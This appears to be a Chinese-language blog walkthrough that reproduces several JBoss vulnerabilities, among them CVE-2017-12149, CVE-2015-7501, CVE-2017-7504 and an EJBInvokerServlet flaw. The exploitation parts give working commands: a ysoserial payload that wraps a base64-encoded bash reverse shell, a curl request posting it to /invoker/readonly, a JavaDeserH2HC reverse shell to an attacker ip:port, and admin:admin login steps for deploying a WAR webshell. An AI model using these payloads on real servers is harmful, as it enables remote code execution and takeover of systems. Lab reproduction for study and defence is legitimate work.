Contents

JBoss漏洞复现

CVE-2017-12149 Jboss代码执行

影响范围

  • Jboss AS 5.x
  • Jboss AS 6.x

漏洞原理

该漏洞位于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下将来自客户端的序列化数据进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。

攻击过程

范围漏洞环境 https://s1.ax1x.com/2022/08/22/v60mVO.png 访问/invoker/readonly路径,出现以下报错则存在反序列化漏洞 https://s1.ax1x.com/2022/08/22/v60MPH.png 在攻击机上开启监听,然后利用ysoserial生成序列化数据

1
java -jar ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,(base64编码后的反弹shell命令)}|{base64,-d}|{bash,-i}" > poc.ser

再利用curl命令将序列化数据发送至JBoss

1
curl http://http://ip/invoker/readonly --data-binary @poc.ser

反弹shell成功 https://s1.ax1x.com/2022/08/22/v60lRA.png

CVE-2015-7501 JBoss JMXInvokerServlet 反序列化漏洞

影响范围

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
  • JBoss AS (Wildly) 6 and earlier
  • JBoss A-MQ 6.2.0
  • JBoss Fuse 6.2.0
  • JBoss SOA Platform (SOA-P) 5.3.1
  • JBoss Data Grid (JDG) 6.5.0
  • JBoss BRMS (BRMS) 6.1.0
  • JBoss BPMS (BPMS) 6.1.0
  • JBoss Data Virtualization (JDV) 6.1.0
  • JBoss Fuse Service Works (FSW) 6.0.0
  • JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞原理

JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。原理之前的一样,都是直接对客户端传来的数据进行了反序列化。

利用过程

如果在访问/invoker/JMXInvokerServlet 出现了文件下载的情况则证明存在漏洞 https://s1.ax1x.com/2022/08/22/v60Jqf.png 之后一样,利用ysoserial生成序列化数据然后再发送给JBoss https://s1.ax1x.com/2022/08/21/vyyCzd.png

JBoss EJBInvokerSerlvet 反序列化漏洞

影响范围

主要集中在 JBoss 6.x

  • Apache Group Common Collection 4.0
  • Apache Group Common Collection 3.2.1
  • Apache Group Common Collections

漏洞原理

此漏洞原理相同,不同的是JMXInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行反序列化,而EJBInvokerServlet利用的是org.jboss.console.remote.RemoteMbeanInvocation进行反序列化。

漏洞利用

该漏洞利用路径为/invoker/EJBInvokerServlet,利用方式一样

CVE-2017-7504 JBossMQJMS 反序列化漏洞

影响范围

  • JBoss <= 4.x

漏洞原理

JBossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java存在反序列化漏洞。

漏洞利用

访问JBoss的路径jboss-httpil/HTTPServerILServlet,若存在下图则存在漏洞 https://s1.ax1x.com/2022/08/21/vyyiQA.png

利用工具JavaDeserH2HC生成反序列化数据,在攻击机上监听

1
2
3
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port

https://s1.ax1x.com/2022/08/21/vyyFsI.png

JBoss Administration Console 弱口令getshell

影响范围

  • 全版本

漏洞原理

Administration Console管理页面存在弱口令admin:admin,登录后台上传包含shell的war包部署,即可利用后门工具连接。

漏洞利用

访问/jmx-console路径,爆破弱口令admin:admin https://s1.ax1x.com/2022/08/22/v60tZ8.png 再点击该链接进行部署

https://s1.ax1x.com/2022/08/21/vyykLt.png

输入已经在攻击机上部署好的war包 https://s1.ax1x.com/2022/08/22/v602oF.png 成功后可以看到以下信息 https://s1.ax1x.com/2022/08/22/v60hW9.png 再在/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL点击Apply Change,则证明上传成功

https://s1.ax1x.com/2022/08/22/v604zR.png 后面可以在jboss.web.deloyment中看到shell.war,因为环境时间不够这里就不演示了。